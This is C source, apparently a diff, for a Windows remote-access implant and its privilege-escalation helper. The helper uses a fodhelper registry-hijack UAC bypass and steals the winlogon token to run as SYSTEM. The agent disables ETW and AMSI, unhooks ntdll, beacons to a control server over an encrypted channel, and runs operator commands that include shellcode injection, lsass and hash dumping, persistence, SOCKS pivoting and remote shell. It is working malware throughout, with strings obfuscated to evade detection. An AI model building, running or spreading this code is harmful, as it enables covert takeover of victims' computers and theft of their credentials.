_R(api->RegSetValueExA, fn_RSV, had, EVS_fn_RegSetValueExA);
|
||||
_R(api->RegCloseKey, fn_RCL, had, EVS_fn_RegCloseKey);
|
||||
|
||||
#undef _R
|
||||
|
||||
return (api->OpenProcessToken && api->DuplicateTokenEx &&
|
||||
api->ShellExecuteExA && api->RegCreateKeyExA) ? 0 : -1;
|
||||
}
|
||||
|
||||
/* ── Helper: check if running as admin (full token) ─────────────────── */
|
||||
|
||||
static BOOL _is_admin(api_t *api)
|
||||
{
|
||||
BOOL admin = FALSE;
|
||||
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
|
||||
PSID sid = NULL;
|
||||
if (api->AllocateAndInitializeSid(&nt, 2,
|
||||
SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
|
||||
0,0,0,0,0,0, &sid)) {
|
||||
api->CheckTokenMembership(NULL, sid, &admin);
|
||||
api->FreeSid(sid);
|
||||
}
|
||||
return admin;
|
||||
}
|
||||
|
||||
/* ── Enable four key privileges ──────────────────────────────────────── */
|
||||
|
||||
static void _enable_privs(api_t *api)
|
||||
{
|
||||
HANDLE htok = NULL;
|
||||
if (!api->OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &htok))
|
||||
return;
|
||||
|
||||
char _priv[30];
|
||||
LUID luid = {0};
|
||||
TOKEN_PRIVILEGES tp = {0};
|
||||
|
||||
#define _ENA(evs_arr) do { \
|
||||
EVS_D(_priv, evs_arr); \
|
||||
if (api->LookupPrivilegeValueA(NULL, _priv, &luid)) { \
|
||||
tp.PrivilegeCount = 1; \
|
||||
tp.Privileges[0].Luid = luid; \
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \
|
||||
api->AdjustTokenPrivileges(htok, FALSE, &tp, sizeof(tp), NULL, NULL); \
|
||||
} \
|
||||
SecureZeroMemory(_priv, sizeof(_priv)); \
|
||||
} while(0)
|
||||
|
||||
_ENA(EVS_str_SeDebugPrivilege);
|
||||
_ENA(EVS_str_SeImpersonatePrivilege);
|
||||
_ENA(EVS_str_SeAssignPrimaryTokenPrivilege);
|
||||
_ENA(EVS_str_SeIncreaseQuotaPrivilege);
|
||||
|
||||
#undef _ENA
|
||||
CloseHandle(htok);
|
||||
}
|
||||
|
||||
/* ── Find winlogon.exe PID ───────────────────────────────────────────── */
|
||||
|
||||
static DWORD _winlogon_pid(void)
|
||||
{
|
||||
char _wl[13];
|
||||
_build_winlogon(_wl);
|
||||
|
||||
DWORD pid = 0;
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) return 0;
|
||||
PROCESSENTRY32 pe = { sizeof(pe) };
|
||||
if (Process32First(snap, &pe)) do {
|
||||
if (_stricmp(pe.szExeFile, _wl) == 0) { pid = pe.th32ProcessID; break; }
|
||||
} while (Process32Next(snap, &pe));
|
||||
CloseHandle(snap);
|
||||
return pid;
|
||||
}
|
||||
|
||||
/* ── Elevated path: steal winlogon token → spawn agent as SYSTEM ─────── */
|
||||
|
||||
static int _run_admin(api_t *api, const char *agent_path)
|
||||
{
|
||||
_enable_privs(api);
|
||||
|
||||
DWORD pid = _winlogon_pid();
|
||||
if (!pid) return -1;
|
||||
|
||||
HANDLE hp = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hp) return -1;
|
||||
|
||||
HANDLE htok = NULL;
|
||||
if (!api->OpenProcessToken(hp,
|
||||
TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &htok)) {
|
||||
CloseHandle(hp);
|
||||
return -1;
|
||||
}
|
||||
CloseHandle(hp);
|
||||
|
||||
HANDLE hdup = NULL;
|
||||
SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, FALSE };
|
||||
if (!api->DuplicateTokenEx(htok, MAXIMUM_ALLOWED, &sa,
|
||||
SecurityImpersonation, TokenPrimary, &hdup)) {
|
||||
CloseHandle(htok);
|
||||
return -1;
|
||||
}
|
||||
CloseHandle(htok);
|
||||
|
||||
/* Convert agent path to wide */
|
||||
int wlen = MultiByteToWideChar(CP_ACP, 0, agent_path, -1, NULL, 0);
|
||||
WCHAR *wpath = (WCHAR*)LocalAlloc(LMEM_ZEROINIT, (SIZE_T)wlen * sizeof(WCHAR));
|
||||
if (!wpath) { CloseHandle(hdup); return -1; }
|
||||
MultiByteToWideChar(CP_ACP, 0, agent_path, -1, wpath, wlen);
|
||||
|
||||
STARTUPINFOW si = { sizeof(si) };
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
|
||||
DWORD flags = CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP;
|
||||
BOOL ok = FALSE;
|
||||
|
||||
if (api->CreateProcessWithTokenW)
|
||||
ok = api->CreateProcessWithTokenW(
|
||||
hdup, LOGON_WITH_PROFILE, wpath, NULL, flags,
|
||||
NULL, NULL, &si, &pi);
|
||||
|
||||
if (!ok && api->CreateProcessAsUserW)
|
||||
ok = api->CreateProcessAsUserW(
|
||||
hdup, wpath, NULL, NULL, NULL, FALSE, flags,
|
||||
NULL, NULL, &si, &pi);
|
||||
|
||||
LocalFree(wpath);
|
||||
CloseHandle(hdup);
|
||||
|
||||
if (ok) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
return ok ? 0 : -1;
|
||||
}
|
||||
|
||||
/* ── Normal path: UAC bypass via fodhelper ms-settings hijack ────────── */
|
||||
|
||||
static int _run_bypass(api_t *api, const char *self_path, const char *agent_path)
|
||||
{
|
||||
char reg_key[128], reg_root[64];
|
||||
_build_reg_path(reg_key, sizeof(reg_key));
|
||||
_build_reg_root(reg_root, sizeof(reg_root));
|
||||
|
||||
/* cmd /c start "" "self_path" --admin "agent_path" */
|
||||
char cmd_val[MAX_PATH * 2 + 64];
|
||||
snprintf(cmd_val, sizeof(cmd_val),
|
||||
"cmd /c start \"\" \"%s\" --admin \"%s\"", self_path, agent_path);
|
||||
|
||||
HKEY hk = NULL;
|
||||
if (api->RegCreateKeyExA(HKEY_CURRENT_USER, reg_key, 0, NULL, 0,
|
||||
KEY_WRITE, NULL, &hk, NULL) != ERROR_SUCCESS)
|
||||
return -1;
|
||||
|
||||
api->RegSetValueExA(hk, NULL, 0, REG_SZ,
|
||||
(const BYTE*)cmd_val, (DWORD)(strlen(cmd_val) + 1));
|
||||
|
||||
char de[16];
|
||||
_build_delexec(de);
|
||||
api->RegSetValueExA(hk, de, 0, REG_SZ, (const BYTE*)"", 1);
|
||||
api->RegCloseKey(hk);
|
||||
|
||||
char fod[MAX_PATH + 16];
|
||||
_build_fod(fod, sizeof(fod));
|
||||
|
||||
SHELLEXECUTEINFOA sei = { sizeof(sei) };
|
||||
/* fMask = 0: no flags, matches PrivEsc01.c — NOCLOSEPROCESS breaks auto-elevate */
|
||||
sei.lpFile = fod;
|
||||
sei.nShow = SW_HIDE;
|
||||
|
||||
BOOL ok = api->ShellExecuteExA(&sei);
|
||||
Sleep(3000);
|
||||
|
||||
/* Cleanup: delete created keys bottom-up */
|
||||
api->RegDeleteKeyA(HKEY_CURRENT_USER, reg_key);
|
||||
{
|
||||
char _da[13], _fn[15];
|
||||
EVS_D(_da, EVS_dll_advapi32);
|
||||
HMODULE had2 = _peb_module(_da);
|
||||
SecureZeroMemory(_da, sizeof(_da));
|
||||
typedef LONG (WINAPI *fn_RDT)(HKEY,LPCSTR);
|
||||
fn_RDT pRDT = NULL;
|
||||
if (had2) {
|
||||
EVS_D(_fn, EVS_fn_RegDeleteTreeA);
|
||||
pRDT = (fn_RDT)(void*)GetProcAddress(had2, _fn);
|
||||
SecureZeroMemory(_fn, sizeof(_fn));
|
||||
}
|
||||
if (pRDT) pRDT(HKEY_CURRENT_USER, reg_root);
|
||||
}
|
||||
|
||||
return ok ? 0 : -1;
|
||||
}
|
||||
|
||||
/* ── Entry point ─────────────────────────────────────────────────────── */
|
||||
|
||||
int WINAPI WinMain(HINSTANCE hI, HINSTANCE hP, LPSTR lpCmd, int nC)
|
||||
{
|
||||
(void)hI; (void)hP; (void)lpCmd; (void)nC;
|
||||
|
||||
api_t api;
|
||||
if (_resolve(&api) != 0)
|
||||
return 1;
|
||||
|
||||
/* Parse args from command line */
|
||||
int argc = 0;
|
||||
LPWSTR *argv_w = CommandLineToArgvW(GetCommandLineW(), &argc);
|
||||
if (!argv_w) return 1;
|
||||
|
||||
/* Convert argv[1] and argv[2] to narrow */
|
||||
char arg1[MAX_PATH] = {0}, arg2[MAX_PATH] = {0};
|
||||
if (argc >= 2)
|
||||
WideCharToMultiByte(CP_ACP, 0, argv_w[1], -1, arg1, sizeof(arg1), NULL, NULL);
|
||||
if (argc >= 3)
|
||||
WideCharToMultiByte(CP_ACP, 0, argv_w[2], -1, arg2, sizeof(arg2), NULL, NULL);
|
||||
LocalFree(argv_w);
|
||||
|
||||
/* --admin "agent_path": elevated — steal winlogon token, spawn agent */
|
||||
if (strcmp(arg1, "--admin") == 0) {
|
||||
if (!arg2[0]) return 1; /* agent path required */
|
||||
return _run_admin(&api, arg2) == 0 ? 0 : 1;
|
||||
}
|
||||
|
||||
/* "agent_path": normal — UAC bypass via fodhelper */
|
||||
if (!arg1[0]) return 1; /* agent path required */
|
||||
const char *agent_path = arg1;
|
||||
|
||||
if (_is_admin(&api)) {
|
||||
/* Already elevated — go straight to token steal */
|
||||
return _run_admin(&api, agent_path) == 0 ? 0 : 1;
|
||||
}
|
||||
|
||||
char self[MAX_PATH] = {0};
|
||||
GetModuleFileNameA(NULL, self, sizeof(self) - 1);
|
||||
return _run_bypass(&api, self, agent_path) == 0 ? 0 : 1;
|
||||
}
|
||||
@@ -0,0 +1,740 @@
|
||||
#include "beacon.h"
|
||||
#include "bof.h"
|
||||
#include "channels.h"
|
||||
#include "commands.h"
|
||||
#include "crypto.h"
|
||||
#include "evasion.h"
|
||||
#include "inject.h"
|
||||
#include "persist.h"
|
||||
#include "socks.h"
|
||||
#include "adv_lazy.h"
|
||||
#include "evs_strings.h"
|
||||
#ifndef HTTP_ONLY
|
||||
#include <curl/curl.h>
|
||||
#endif
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
static int _cmdeq(const char *cmd, const unsigned char *enc, size_t n) {
|
||||
volatile unsigned char k = EVS_KEY;
|
||||
for (size_t i = 0; i < n; i++)
|
||||
if ((unsigned char)cmd[i] != (unsigned char)(enc[i] ^ k)) return 0;
|
||||
return cmd[n] == '\0';
|
||||
}
|
||||
|
||||
static void agent_run(void)
|
||||
{
|
||||
/* Read gs_flag at the very first instruction — before any slow init (evasion,
|
||||
* curl, crypto). The parent polls this file after the UAC bypass fires; the
|
||||
* narrower the window between agent start and flag deletion, the more reliable
|
||||
* the detection. Store the result and act on it after full init below. */
|
||||
int _gs_triggered = agent_read_gs_flag();
|
||||
|
||||
evasion_stomp_header();
|
||||
|
||||
#ifndef SKIP_EVASION
|
||||
evasion_unhook_ntdll();
|
||||
evasion_patch_etw();
|
||||
evasion_patch_amsi();
|
||||
evasion_patch_etw_ti();
|
||||
#endif
|
||||
|
||||
#ifndef HTTP_ONLY
|
||||
curl_global_init(CURL_GLOBAL_DEFAULT);
|
||||
#endif
|
||||
|
||||
agent_ctx_t agent;
|
||||
channel_config_t cfg;
|
||||
|
||||
int init_rc = agent_init(&agent);
|
||||
if (init_rc != 0)
|
||||
goto done;
|
||||
channel_config_init(&cfg);
|
||||
|
||||
/* auto-getsystem: flag was consumed above, now escalate with a live context */
|
||||
if (_gs_triggered) {
|
||||
char _gs[4096] = {0};
|
||||
cmd_getsystem(NULL, _gs, sizeof(_gs));
|
||||
agent_get_username(agent.username, sizeof(agent.username));
|
||||
agent_get_privileges(agent.privileges, sizeof(agent.privileges));
|
||||
beacon_append_output(&agent, _gs, strlen(_gs));
|
||||
}
|
||||
|
||||
/* phase 1: handshake */
|
||||
while (!agent.handshake_done)
|
||||
{
|
||||
/* send our public key */
|
||||
char *hs_pkt = beacon_build_handshake(&agent);
|
||||
if (hs_pkt)
|
||||
{
|
||||
channel_send(&cfg, agent.agent_id, hs_pkt);
|
||||
free(hs_pkt);
|
||||
}
|
||||
|
||||
/* poll for server public key */
|
||||
char *resp = channel_recv(&cfg, agent.agent_id);
|
||||
if (resp)
|
||||
{
|
||||
char cmd[32] = {0}, args[4096] = {0}, task_id[64] = {0};
|
||||
char *data = NULL;
|
||||
beacon_parse_response(&agent, resp,
|
||||
cmd, sizeof(cmd),
|
||||
args, sizeof(args),
|
||||
task_id, sizeof(task_id),
|
||||
&data);
|
||||
free(data);
|
||||
free(resp);
|
||||
}
|
||||
|
||||
if (!agent.handshake_done)
|
||||
beacon_sleep(); /* jittered interval between handshake retries */
|
||||
}
|
||||
|
||||
/* phase 2: main beacon loop */
|
||||
for (;;)
|
||||
{
|
||||
/* build and send encrypted beacon */
|
||||
char *pkt = beacon_build(&agent);
|
||||
if (pkt)
|
||||
{
|
||||
if (channel_send(&cfg, agent.agent_id, pkt) == CHANNEL_OK)
|
||||
{
|
||||
/* beacon sent, clear output buffer */
|
||||
beacon_clear_output(&agent);
|
||||
}
|
||||
free(pkt);
|
||||
}
|
||||
|
||||
/* receive pending task */
|
||||
char *raw = channel_recv(&cfg, agent.agent_id);
|
||||
if (raw)
|
||||
{
|
||||
char cmd[32] = {0};
|
||||
char args[4096] = {0};
|
||||
char task_id[64] = {0};
|
||||
char *data = NULL;
|
||||
|
||||
int parse_ok = beacon_parse_response(&agent, raw,
|
||||
cmd, sizeof(cmd),
|
||||
args, sizeof(args),
|
||||
task_id, sizeof(task_id),
|
||||
&data);
|
||||
free(raw);
|
||||
|
||||
if (parse_ok == 0 && cmd[0] != '\0')
|
||||
{
|
||||
/* store task_id for ACK in next beacon */
|
||||
snprintf(agent.last_task_id, sizeof(agent.last_task_id), "%s", task_id);
|
||||
|
||||
char *output = (char *)calloc(1, OUTPUT_BUF_SIZE);
|
||||
if (!output) { free(data); continue; }
|
||||
int ret = -1;
|
||||
|
||||
if (strcmp(cmd, "help") == 0 || strcmp(cmd, "h") == 0)
|
||||
{
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "ok\n");
|
||||
ret = 0;
|
||||
}
|
||||
else if (strcmp(cmd, "ls") == 0)
|
||||
{
|
||||
ret = cmd_ls(args[0] ? args : ".", output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "mkdir") == 0)
|
||||
{
|
||||
ret = cmd_mkdir(args, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "rm") == 0)
|
||||
{
|
||||
ret = cmd_rm(args, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "cp") == 0)
|
||||
{
|
||||
char src[1024] = {0}, dst[1024] = {0};
|
||||
sscanf(args, "%1023s %1023s", src, dst);
|
||||
ret = cmd_cp(src, dst, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "mv") == 0)
|
||||
{
|
||||
char src[1024] = {0}, dst[1024] = {0};
|
||||
sscanf(args, "%1023s %1023s", src, dst);
|
||||
ret = cmd_mv(src, dst, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "reg") == 0)
|
||||
{
|
||||
/* reg: query|set|delete <keypath> [...] */
|
||||
char action[16] = {0};
|
||||
char keypath[512] = {0};
|
||||
char valname[256] = {0};
|
||||
char type_s[32] = {0};
|
||||
char value[1024] = {0};
|
||||
|
||||
/* parse action */
|
||||
const char *p = args;
|
||||
sscanf(p, "%15s", action);
|
||||
p = strchr(p, ' ');
|
||||
if (p) p++;
|
||||
|
||||
if (p) {
|
||||
/* parse key path, handles paths with spaces */
|
||||
const char *q = p;
|
||||
const char *key_end = NULL;
|
||||
int first_tok = 1;
|
||||
while (*q) {
|
||||
const char *tok = q;
|
||||
while (*q && *q != ' ') q++;
|
||||
int in_key = (first_tok && strncmp(tok, "HKEY_", 5) == 0);
|
||||
if (!in_key) {
|
||||
for (const char *c = tok; c < q; c++)
|
||||
if (*c == '\\') { in_key = 1; break; }
|
||||
}
|
||||
if (in_key) { key_end = q; }
|
||||
else { break; }
|
||||
first_tok = 0;
|
||||
if (*q == ' ') q++;
|
||||
}
|
||||
if (key_end) {
|
||||
size_t klen = (size_t)(key_end - p);
|
||||
if (klen >= sizeof(keypath)) klen = sizeof(keypath) - 1;
|
||||
strncpy(keypath, p, klen);
|
||||
keypath[klen] = '\0';
|
||||
p = key_end;
|
||||
if (*p == ' ') p++;
|
||||
if (!*p) p = NULL;
|
||||
} else {
|
||||
sscanf(p, "%511s", keypath);
|
||||
p = strchr(p, ' ');
|
||||
if (p) p++;
|
||||
}
|
||||
}
|
||||
|
||||
if (strcmp(action, "query") == 0) {
|
||||
if (p) sscanf(p, "%255s", valname);
|
||||
ret = cmd_reg_query(keypath, valname,
|
||||
output, OUTPUT_BUF_SIZE);
|
||||
} else if (strcmp(action, "set") == 0) {
|
||||
/* valname type value (value may contain spaces) */
|
||||
if (p) {
|
||||
sscanf(p, "%255s", valname);
|
||||
p = strchr(p, ' ');
|
||||
if (p) p++;
|
||||
}
|
||||
if (p) {
|
||||
sscanf(p, "%31s", type_s);
|
||||
p = strchr(p, ' ');
|
||||
if (p) p++;
|
||||
}
|
||||
if (p) {
|
||||
strncpy(value, p, sizeof(value) - 1);
|
||||
value[sizeof(value) - 1] = '\0';
|
||||
}
|
||||
ret = cmd_reg_set(keypath, valname, type_s, value,
|
||||
output, OUTPUT_BUF_SIZE);
|
||||
} else if (strcmp(action, "delete") == 0) {
|
||||
if (p) sscanf(p, "%255s", valname);
|
||||
ret = cmd_reg_delete(keypath, valname,
|
||||
output, OUTPUT_BUF_SIZE);
|
||||
} else {
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[reg] usage: query|set|delete <key> ...\n");
|
||||
ret = -1;
|
||||
}
|
||||
}
|
||||
#ifndef LEAN
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_shinject, sizeof(EVS_str_cmd_shinject)))
|
||||
{
|
||||
if (!data || !data[0]) {
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "e:0\n");
|
||||
} else {
|
||||
size_t sc_len = 0;
|
||||
uint8_t *sc = base64_decode(data, &sc_len);
|
||||
if (!sc) {
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "e:b64\n");
|
||||
} else {
|
||||
ret = inject_self(sc, sc_len);
|
||||
SecureZeroMemory(sc, sc_len);
|
||||
free(sc);
|
||||
if (ret == 0)
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "ok:%zu\n", sc_len);
|
||||
else
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "rc:%d\n", ret);
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif /* LEAN */
|
||||
else if (strcmp(cmd, "shell") == 0)
|
||||
{
|
||||
ret = cmd_shell(args, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "sysinfo") == 0)
|
||||
{
|
||||
ret = cmd_sysinfo(output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "ps") == 0)
|
||||
{
|
||||
ret = cmd_ps(output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "getpid") == 0)
|
||||
{
|
||||
ret = cmd_getpid(args, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "download") == 0)
|
||||
{
|
||||
ret = cmd_download(args, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "upload") == 0)
|
||||
{
|
||||
/* args = destination path, data = base64 file content */
|
||||
ret = cmd_upload(args, data, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "sleep") == 0)
|
||||
{
|
||||
DWORD ms = (DWORD)strtoul(args, NULL, 10);
|
||||
beacon_sleep_obf(ms);
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "ok:%lu\n", ms);
|
||||
ret = 0;
|
||||
}
|
||||
#ifndef LEAN
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_inject, sizeof(EVS_str_cmd_inject)))
|
||||
{
|
||||
/* inject: args = "[pid] [method]", data = base64 shellcode */
|
||||
char pid_s[16] = {0};
|
||||
char method_s[16] = {0};
|
||||
char extra[512] = {0}; /* optional dll_path for stomp */
|
||||
sscanf(args, "%15s %15s %511s", pid_s, method_s, extra);
|
||||
|
||||
DWORD pid = (DWORD)strtoul(pid_s, NULL, 10);
|
||||
if (pid == 0) pid = inject_find_target();
|
||||
|
||||
if (pid == 0) {
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "e:pid\n");
|
||||
} else {
|
||||
size_t sc_len = 0;
|
||||
uint8_t *sc = base64_decode(data, &sc_len);
|
||||
if (!sc) {
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "e:b64\n");
|
||||
} else {
|
||||
/* method names as char arrays — no plaintext in .rdata */
|
||||
char _mh[] = {'h','i','j','a','c','k',0};
|
||||
char _me[] = {'e','a','r','l','y','b','i','r','d',0};
|
||||
char _ms[] = {'s','t','o','m','p',0};
|
||||
int use_hijack = (strcmp(method_s, _mh) == 0);
|
||||
int use_earlybird = (strcmp(method_s, _me) == 0);
|
||||
int use_stomp = (strcmp(method_s, _ms) == 0);
|
||||
|
||||
if (use_earlybird) {
|
||||
ret = inject_earlybird(sc, sc_len);
|
||||
SecureZeroMemory(sc, sc_len);
|
||||
free(sc);
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
ret == 0 ? "ok\n" : "rc:%d\n", ret);
|
||||
} else if (use_stomp) {
|
||||
ret = inject_stomp(pid, sc, sc_len,
|
||||
extra[0] ? extra : NULL);
|
||||
SecureZeroMemory(sc, sc_len);
|
||||
free(sc);
|
||||
if (ret == 0)
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "ok:%lu\n",
|
||||
(unsigned long)pid);
|
||||
else
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "rc:%d:%lu\n",
|
||||
ret, (unsigned long)pid);
|
||||
} else {
|
||||
ret = use_hijack
|
||||
? inject_thread_hijack(pid, sc, sc_len)
|
||||
: inject_remote(pid, sc, sc_len);
|
||||
SecureZeroMemory(sc, sc_len);
|
||||
free(sc);
|
||||
if (ret == 0)
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "ok:%lu\n",
|
||||
(unsigned long)pid);
|
||||
else
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "rc:%d:%lu\n",
|
||||
ret, (unsigned long)pid);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif /* LEAN */
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_bof, sizeof(EVS_str_cmd_bof)))
|
||||
{
|
||||
/* bof: data = b64 COFF, args = b64 packed BOF args */
|
||||
ret = cmd_bof(data, args[0] ? args : NULL, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "socks") == 0)
|
||||
{
|
||||
char action[16] = {0};
|
||||
char portstr[8] = {0};
|
||||
sscanf(args, "%15s %7s", action, portstr);
|
||||
if (strcmp(action, "start") == 0) {
|
||||
unsigned short port = (unsigned short)strtoul(portstr, NULL, 10);
|
||||
if (!port) port = 1080;
|
||||
ret = socks_start(port, output, OUTPUT_BUF_SIZE);
|
||||
} else if (strcmp(action, "stop") == 0) {
|
||||
ret = socks_stop(output, OUTPUT_BUF_SIZE);
|
||||
} else if (strcmp(action, "status") == 0) {
|
||||
snprintf(output, OUTPUT_BUF_SIZE, "[socks] %s\n",
|
||||
socks_running() ? "running" : "stopped");
|
||||
ret = 0;
|
||||
} else {
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[socks] usage: start <port> | stop | status\n");
|
||||
ret = -1;
|
||||
}
|
||||
}
|
||||
else if (strcmp(cmd, "rportfwd") == 0)
|
||||
{
|
||||
/* rportfwd: start <lport> <rhost> <rport> | stop <lport> | list */
|
||||
char action[16] = {0};
|
||||
char p1[256] = {0}; /* lport or rhost */
|
||||
char p2[256] = {0}; /* rhost */
|
||||
char p3[8] = {0}; /* rport */
|
||||
sscanf(args, "%15s %255s %255s %7s", action, p1, p2, p3);
|
||||
|
||||
if (strcmp(action, "start") == 0) {
|
||||
unsigned short lport = (unsigned short)strtoul(p1, NULL, 10);
|
||||
unsigned short rport = (unsigned short)strtoul(p3, NULL, 10);
|
||||
if (!lport || !rport || !p2[0]) {
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[rportfwd] usage: start <lport> <rhost> <rport>\n");
|
||||
ret = -1;
|
||||
} else {
|
||||
ret = rportfwd_start(lport, p2, rport, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
} else if (strcmp(action, "stop") == 0) {
|
||||
unsigned short lport = (unsigned short)strtoul(p1, NULL, 10);
|
||||
ret = rportfwd_stop(lport, output, OUTPUT_BUF_SIZE);
|
||||
} else if (strcmp(action, "list") == 0) {
|
||||
ret = rportfwd_list(output, OUTPUT_BUF_SIZE);
|
||||
} else {
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[rportfwd] usage: start <lport> <rhost> <rport> | stop <lport> | list\n");
|
||||
ret = -1;
|
||||
}
|
||||
}
|
||||
else if (strcmp(cmd, "persist") == 0)
|
||||
{
|
||||
/* persist: install registry|schtask|auto | remove registry|schtask */
|
||||
char action[16] = {0};
|
||||
char method_s[16] = {0};
|
||||
sscanf(args, "%15s %15s", action, method_s);
|
||||
|
||||
if (strcmp(action, "install") == 0) {
|
||||
if (strcmp(method_s, "registry") == 0)
|
||||
ret = persist_install(PERSIST_REGISTRY);
|
||||
else if (strcmp(method_s, "schtask") == 0)
|
||||
ret = persist_install(PERSIST_SCHTASK);
|
||||
else
|
||||
ret = persist_auto();
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[persist] install rc=%d\n", ret);
|
||||
} else if (strcmp(action, "remove") == 0) {
|
||||
persist_method_t m = (strcmp(method_s, "registry") == 0)
|
||||
? PERSIST_REGISTRY : PERSIST_SCHTASK;
|
||||
ret = persist_remove(m);
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[persist] remove rc=%d\n", ret);
|
||||
} else {
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[persist] usage: install registry|schtask|auto / remove registry|schtask\n");
|
||||
ret = -1;
|
||||
}
|
||||
}
|
||||
#ifndef LEAN
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_lsassdump, sizeof(EVS_str_cmd_lsassdump)))
|
||||
{
|
||||
ret = cmd_lsassdump(args[0] ? args : NULL,
|
||||
output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_hashdump, sizeof(EVS_str_cmd_hashdump)))
|
||||
{
|
||||
ret = cmd_hashdump(args[0] ? args : NULL,
|
||||
output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
#endif /* LEAN */
|
||||
else if (strcmp(cmd, "portscan") == 0)
|
||||
{
|
||||
/* portscan: <host> <start>-<end> [timeout_ms] */
|
||||
char host_s[256] = {0};
|
||||
char range_s[32] = {0};
|
||||
char timeout_s[16] = {0};
|
||||
sscanf(args, "%255s %31s %15s", host_s, range_s, timeout_s);
|
||||
|
||||
unsigned short pstart = 1, pend = 1024;
|
||||
char *dash = strchr(range_s, '-');
|
||||
if (dash) {
|
||||
*dash = '\0';
|
||||
pstart = (unsigned short)strtoul(range_s, NULL, 10);
|
||||
pend = (unsigned short)strtoul(dash + 1, NULL, 10);
|
||||
} else if (range_s[0]) {
|
||||
pstart = pend = (unsigned short)strtoul(range_s, NULL, 10);
|
||||
}
|
||||
int toms = timeout_s[0] ? (int)strtoul(timeout_s, NULL, 10) : 500;
|
||||
ret = cmd_portscan(host_s, pstart, pend, toms,
|
||||
output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
#ifndef LEAN
|
||||
else if (strcmp(cmd, "screenshot") == 0)
|
||||
{
|
||||
ret = cmd_screenshot(output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (_cmdeq(cmd, EVS_str_cmd_execasm, sizeof(EVS_str_cmd_execasm)))
|
||||
{
|
||||
/* execute-assembly: data = b64 PE, args for Main */
|
||||
size_t asm_len = 0;
|
||||
uint8_t *asm_bytes = base64_decode(data, &asm_len);
|
||||
if (!asm_bytes) {
|
||||
snprintf(output, OUTPUT_BUF_SIZE,
|
||||
"[execute-assembly] b64 decode failed\n");
|
||||
} else {
|
||||
ret = cmd_execasm(asm_bytes, asm_len,
|
||||
args[0] ? args : NULL,
|
||||
output, OUTPUT_BUF_SIZE);
|
||||
SecureZeroMemory(asm_bytes, asm_len);
|
||||
free(asm_bytes);
|
||||
}
|
||||
}
|
||||
#endif /* LEAN */
|
||||
else if (strcmp(cmd, "privs") == 0)
|
||||
{
|
||||
/* args: list | enable <name> | disable <name> */
|
||||
char action[16] = {0};
|
||||
char priv_name[64] = {0};
|
||||
sscanf(args, "%15s %63s", action, priv_name);
|
||||
ret = cmd_privs(action[0] ? action : "list",
|
||||
priv_name, output, OUTPUT_BUF_SIZE);
|
||||
}
|
||||
else if (strcmp(cmd, "spawn") == 0)
|
||||
{
|
||||
/* spawn: <exe_path> <fake_args> [real_args] */
|
||||
char exe_path[512] = {0};
|
||||
